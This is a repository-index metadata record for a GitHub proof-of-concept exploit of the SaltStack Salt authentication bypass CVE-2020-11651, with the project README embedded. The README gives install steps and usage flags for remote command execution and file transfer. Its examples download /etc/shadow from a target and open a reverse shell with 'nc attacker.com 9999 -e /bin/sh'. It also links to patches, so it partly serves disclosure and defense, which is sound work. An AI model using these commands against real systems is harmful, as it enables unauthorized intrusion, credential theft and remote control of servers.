{"id":14965336,"url":"https://github.com/0xc0d/cve-2020-11651","last_synced_at":"2025-10-25T11:31:18.760Z","repository":{"id":144440030,"uuid":"261160783","full_name":"0xc0d/CVE-2020-11651","owner":"0xc0d","description":"CVE-2020-11651: Proof of Concept","archived":false,"fork":false,"pushed_at":"2021-07-07T21:17:01.000Z","size":15,"stargazers_count":40,"open_issues_count":0,"forks_count":14,"subscribers_count":4,"default_branch":"master","last_synced_at":"2025-01-31T07:04:00.618Z","etag":null,"topics":["cve-2020-11651","cve-2020-11652","poc","saltstack","vulnerability"],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/0xc0d.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2020-05-04T11:47:56.000Z","updated_at":"2024-08-12T20:01:05.000Z","dependencies_parsed_at":null,"dependency_job_id":"7a097e0e-2608-497e-a761-0407348330d1","html_url":"https://github.com/0xc0d/CVE-2020-11651","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/0xc0d%2FCVE-2020-11651","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/0xc0d%2FCVE-2020-11651/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/0xc0d%2FCVE-2020-11651/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/0xc0d%2FCVE-2020-11651/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/0xc0d","download_url":"https://codeload.github.com/0xc0d/CVE-2020-11651/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":238128552,"owners_count":19421053,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cve-2020-11651","cve-2020-11652","poc","saltstack","vulnerability"],"created_at":"2024-09-24T13:34:36.394Z","updated_at":"2025-10-25T11:31:12.504Z","avatar_url":"https://github.com/0xc0d.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# CVE-2020-11651\n\nAn issue was discovered in SaltStack Salt before 2019.2.4 and 3000 before 3000.2. The salt-master process ClearFuncs class does not properly validate method calls. This allows a remote user to access some methods without authentication. These methods can be used to retrieve user tokens from the salt master and/or run arbitrary commands on salt minions.\n\n[Details](https://www.suse.com/security/cve/CVE-2020-11651/)\n\n[Patches](https://github.com/rossengeorgiev/salt-security-backports) for unspported salt versions\n\n## Install\n\n    git clone https://github.com/0xc0d/CVE-2020-11651.git ~/CVE-2020-11651\n    chmod +x ~/CVE-2020-11651/PoC.py\n\n## Usage\n\n    $ ~/CVE-2020-11651/PoC.py -h\n    usage: PoC.py [-h] --host HOST [--port PORT] [--execute COMMAND] [--upload src dest] [--download src dest] [--minions] [--quiet] [--fetch-key-only]\n\n    CVE-2020-11651 PoC\n\n    optional arguments:\n      -h, --help            show this help message and exit\n      --host HOST, -t HOST\n      --port PORT, -p PORT\n      --execute COMMAND, -e COMMAND\n                            Command to execute. Defaul: /bin/sh (use netcat for reverse shell)\n      --upload src dest, -u src dest\n                            Upload a file\n      --download src dest, -d src dest\n                            Download a file\n      --minions             Send command to all minions on master\n      --quiet, -q           Enable quiet/silent mode\n      --fetch-key-only      Only fetch the key\n\n## Example\n\n#### Download shadow file\n    ./PoC.py --host target.com --download /etc/shadow ./shadow\n    \n#### Run a reverse shell\n    nc -nvl attacker.com 9999\n    ./PoC.py --host target.com --execute \"nc attacker.com 9999 -e \\\"/bin/sh\\\"\"\n   \n#### Fetch the key\n    ./PoC.py --host target.com --fetch-key-only\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2F0xc0d%2Fcve-2020-11651","html_url":"https://awesome.ecosyste.ms/projects/github.com%2F0xc0d%2Fcve-2020-11651","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2F0xc0d%2Fcve-2020-11651/lists"}